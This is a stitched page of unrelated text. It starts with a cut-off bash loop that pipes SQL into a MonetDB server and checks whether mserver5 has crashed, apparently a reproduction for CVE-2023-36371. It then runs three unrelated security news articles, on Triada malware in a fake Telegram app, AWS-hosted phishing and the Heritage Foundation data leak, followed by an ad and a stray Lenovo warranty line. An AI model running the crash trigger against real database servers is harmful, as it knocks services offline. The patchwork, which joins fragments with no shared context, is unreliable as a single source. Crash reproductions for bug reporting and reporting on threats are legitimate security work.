echo -n "."

echo "DROP SCHEMA test CASCADE;
CREATE SCHEMA test;
SET SCHEMA test;
CREATE TABLE src (src\_c1\_pkey INT, c1 VARCHAR(100));
START TRANSACTION;
DELETE   FROM src;
ALTER TABLE src DROP src\_c1\_pkey;
INSERT INTO src VALUES(1,1),(2,2),(3,3),(4,4),(6,6),(7,7),(8,8),(9,9),(10,10);
COMMIT;
SET SCHEMA sys;
DROP SCHEMA test CASCADE;
CREATE SCHEMA test;
" | docker exec -i monetdb mclient monetdb 2>&1 | grep --color=always "unexpected end of file\\|Challenge string is not valid, it is empty" && break

done

#############################################
#\# Check whether some errors occurred.
#############################################
if ! docker exec monetdb mclient monetdb
then
    echo "The server or client seems unavailable".
else
    echo -ne "Check PID of mserver5: \\033\[0;32m\\033\[1m"
    docker exec monetdb pidof mserver5
    echo -ne "\\033\[0m"
    nowPid=$(docker exec monetdb pidof mserver5)
    
    if (( nowPid != oldPid ))
    then
        echo "Different PIDs. Maybe a crash occurred?"
    else
        echo "Everything seems ok... Maybe not a bug."
    fi
fi

CVE-2023-36371: MonetDB server 11.46.0 crashes in `GDKfree` · Issue #7385 · MonetDB/MonetDB

By Waqas
Fortunately, the infected version of Telegram carrying Triada malware is being distributed through third-party stores rather than the official Google Play Store.
This is a post from HackRead.com Read the original post: Triada Malware Infects Android Devices via Fake Telegram App

**The malicious version of the Telegram app containing Triada is cleverly disguised as the latest version of Telegram Messenger, specifically version 9.2.1.**

Check Point Software Technologies’ recent research highlights a concerning trend: a circulating fake Telegram messenger app that infects Android devices with Triada malware upon installation. It’s crucial to be aware that, **unlike other malicious apps**, this app cannot be found on Google Play Store, but rather on third-party app stores.

Given the widespread popularity of Telegram as one of the most commonly used messaging apps globally, it comes as no surprise that scammers and cybercriminals target it for their malicious activities. If you have unknowingly downloaded this fake app, your device may have fallen victim to malware.

The **malicious Telegram app** operates by acquiring privilege escalation on the system to initiate the malware. This can be achieved if the user grants phone permissions during the signup process. Once this access is granted, the malware can effortlessly self-inject into other processes, enabling it to carry out a range of malicious activities.

Fake Telegram at work (Image provided to Hackread.com by Check Point)

Fortunately, Check Point’s security product, Harmony Mobile, plays a crucial role in safeguarding against Triada malware-infected apps. It scans for such apps and proactively blocks them from infecting the device or causing any additional harm.

It is important to highlight that earlier research on Triada has already demonstrated its persistence, with **Google confirming** the presence of this malware in inexpensive Android phones.

These affected devices include models from various companies such as Leagoo, ARK Benefit, Zopo Speed, Doogee, Cherry Mobile Flare, and several others. This further underscores the need for vigilance and security measures, as Triada’s reach has extended to a wide range of devices in the market.

**How Do Attackers Trick Users?**

The malicious version of the Telegram app containing Triada (**VirusTotal sample**) is cleverly disguised as the latest version of Telegram Messenger, specifically version 9.2.1. To make the modified version appear legitimate, attackers have employed tactics such as using a package name (org.telegram.messenger) that resembles the genuine app and utilizing the app’s verified icon.

Upon initiating the downloaded app for the first time, users are presented with a login window that perfectly replicates the original app’s home page. To proceed with registration, users are prompted to enter their phone number and grant access to device permissions.

Subsequently, the malicious app inserts detrimental code into the device under the guise of an internal application update service. Operating discreetly in the background, the malware initiates its malicious activities, which involve gathering device information, retrieving configuration files, and establishing communication channels.

**Triada Capabilities**

In a report shared with Hackread.com, Checkpoint researchers outlined the various **operations that Triada malware** can carry out. These include enrolling victims in multiple paid subscriptions, displaying invisible and background ads, and making unauthorized in-app purchases using SMS and phone numbers. Additionally, Triada has the ability to steal sensitive data, including passwords, from compromised devices.

Researchers have observed a rise in modified versions of mobile apps in recent times. These modified apps entice users with new features and additional customization at low prices. However, once these apps are downloaded, they unleash malware onto the user’s device.

> The risk of installing modified versions comes from the fact that it is impossible for the user to know what changes were actually made to the application code. To be more precise – it is unknown what code was added and whether it has any malicious intent.
> 
> Check Point

To ensure protection, it is crucial to refrain from downloading software from untrusted sources. Users should always verify the app’s developer and confirm the ownership of the company before downloading any application. This cautious approach can help mitigate the risk of malware infections and protect sensitive data.

**RELATED ARTICLE**

1.  Android apps on APKPure store spreading Triada malware
2.  Triada malware pre-installed on thousands of Android phones
3.  Malware Attack Imitates VPN and Security Apps on Android Phones
4.  Fake reviews, 3rd-party apps cause 50% of threats against Android
5.  Popular Android Screen Recorder iRecorder App Revealed as Trojan

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Triada Malware Infects Android Devices via Fake Telegram App

By Habiba Rashid
The new attack has been dubbed Phishing 3.0.
This is a post from HackRead.com Read the original post: Phishing 3.0: Crooks Leverage AWS in Deceptive Email Campaigns

*   Cybercriminals are adopting advanced phishing tactics, using legitimate services like Amazon Web Services (AWS) to launch convincing attacks that bypass traditional security measures.

*   The Check Point report highlights the emergence of Business Email Compromise 3.0 (BEC 3.0), where attackers host phishing sites on AWS S3 Buckets to send seemingly genuine emails with phishing links.

*   Hackers manipulate users with social engineering and credential harvesting, often posing as password reset requests, leading victims to click on AWS S3 Bucket URLs that redirect to fake login pages.

*   Phishing attempts rely on exploiting human behaviour and urgency associated with password resets, making it crucial for users to scrutinize email URLs and remain cautious.

*   To counter this threat, cybersecurity experts recommend implementing multi-indicator phishing detection systems, and comprehensive security measures including document scanning, and URL protection mechanisms.

Cybercriminals are now leveraging legitimate services to launch highly convincing phishing attacks that evade traditional security measures. A recent report from cybersecurity firm Check Point’s subsidiary Avanan has revealed that hackers are now utilizing Amazon Web Services (AWS) as a platform for sending out phishing links, adding a new layer of sophistication to their deceptive campaigns.

Phishing attacks have long been a menace in the digital landscape, but the latest trend involves hackers exploiting reputable services to slip through the cracks of cybersecurity defences. This tactic has been previously witnessed with services such as Google, QuickBooks, and PayPal, where attackers create accounts and send out seemingly genuine emails directly from these platforms, making them difficult to identify and block.

The Check Point Harmony Email researchers shed light on how hackers are now using AWS to facilitate their phishing endeavours. In this novel attack variant, cybercriminals are hosting phishing sites on AWS S3 Buckets, which are legitimate storage containers within AWS. This approach allows the attackers to send emails containing phishing links that appear convincingly genuine, as they originate from AWS S3 Buckets.

The attack method, known as Business Email Compromise 3.0 (BEC 3.0), relies heavily on social engineering and credential harvesting techniques to manipulate users into divulging their sensitive information.

The phishing email typically mimics a password reset request, a familiar scenario that prompts users to take action. While some users might be cautious and recognize the email as suspicious due to sender address discrepancies, the attackers cunningly employ AWS S3 Bucket URLs to redirect victims to seemingly legitimate login pages.

Upon clicking the link, victims are led to a webpage that bears the hallmarks of a Microsoft login page, complete with pre-populated email addresses and password fields. While this technique requires a slightly more advanced skill set from the attackers, it remains accessible enough for the average cybercriminal to execute.

The phishing email and phishing login page aim at the login credentials of Microsoft users. (Screenshot: Avanan)

The ultimate goal is to obtain victims’ login credentials, granting the attackers unauthorized access to sensitive accounts and potentially confidential information. According to a blog post published by Jeremy Fuchs of Avanan, users can protect themselves against these increasingly sophisticated attacks by paying close attention to the URLs presented in the emails.

However, the attackers’ well-crafted scenarios and the common urgency associated with password resets can often lead users to disregard this caution. This reliance on human behaviour is precisely what the hackers are banking on, as it offers them a higher chance of success.

In response to this emerging threat, Check Point researchers promptly alerted Amazon about the campaign on July 25th. To mitigate the risks associated with such attacks, cybersecurity professionals are advised to adopt multi-indicator phishing detection systems, implement comprehensive security measures that extend to document scanning and incorporate URL protection mechanisms.

**RELATED ARTICLES**

1.  Google Drive accounted for 50% of malicious Office Docs downloads
2.  LinkedIn Phishing Scam Steals Gmail Credentials Through Google Docs
3.  Google Docs Phishing Scam Cost Minnesota State Thousands of Dollars
4.  Royal Ransomware: New Threat Uses Google Ads and Cracked Software
5.  Research sector targeted in new spear phishing attack using Google Drive

I’m a student and cybersecurity writer. On a random Sunday, I am likely to be figuring out life and reading Kafka.

Phishing 3.0: Crooks Leverage AWS in Deceptive Email Campaigns

Data from the Heritage Foundation containing at least half a million passwords and usernames are available online

The Heritage Foundation this month denied that it had suffered an earlier system breach and the subsequent leaking of internal data. But the organization had to admit that cybercriminals gained access to an archive of Heritage’s affiliated media site, The Daily Signal, dating back to 2022. That archive reportedly contained content of Heritage and non-Heritage contributors’ personal information.

Either way, a Malwarebytes review of the data shows over half a million usernames and passwords.

At the heart of the back-and-forth claims are an alleged breach against the Heritage Foundation that SiegedSec, a politically motivated group, claimed to have carried out on July 2, 2024.

The group said it released the data in response to Heritage Foundation’s Project 2025, a set of proposals that aim to give Donald Trump a set of ready-made policies to implement if he wins this fall’s election in the United States.

The stolen data includes email addresses, usernames, passwords, phone numbers, IP addresses, full names, and may contain other compromised user details.

SiegedSec also claimed to have over 200 gigabytes of additional “mostly useless” data, which they do not intend to release.

The discrepancy in the claims lies in the fact that SiegedSec said it obtained passwords and other user information for “every user” of a Heritage Foundation database. Heritage responded in saying that:

> “An organized group stumbled upon a two-year-old archive of The Daily Signal website that was available on a public-facing website owned by a contractor.”

A possible cause for the discrepancy is an earlier cyberattack on the Heritage Foundation in April of 2024 which resulted in a shutdown of the organization’s network to prevent further malicious activity. But the nature of that attack is unclear and it is impossible to say whether any data was stolen.

Some sources, however, have reported that it was in fact a ransomware attack by the Play Group, which means that an attempt to steal data is still a possibility.

**Protecting yourself after a data breach**

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

*   **Check the vendor’s advice.** Every breach is different, so check with the vendor to find out what’s happened and follow any specific advice they offer.
*   **Change your password.** You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
*   **Enable two-factor authentication (2FA).** If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
*   **Watch out for fake vendors.** The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims and verify the identity of anyone who contacts you using a different communication channel.
*   **Take your time.** Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
*   **Consider not storing your card details**. It’s definitely more convenient to get sites to remember your card details for you, but we highly recommend not storing that information on websites.
*   **Set up identity monitoring.** Identity monitoring alerts you if your personal information is found being traded illegally online, and helps you recover after.

****Check your exposure in the Heritage leak (and elsewhere online)****

You can verify whether your information was included in the Heritage data leak now by using the Malwarebytes Digital Footprint portal. Just enter your email address (it’s best to submit the one you most frequently use) to our free Digital Footprint scan, and we’ll give you a report. For those whose information was not included, you’ll still likely find other exposures in previous data breaches.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

**Summer mega sale**

Go into your vacation knowing you’re much more secure: This summer you can get a huge **50% off a Malwarebytes Standard subscription** or **Malwarebytes Identity bundle**. Run, don’t walk!

Search

lenovo warranty check/lookup | check warranty status | lenovo support us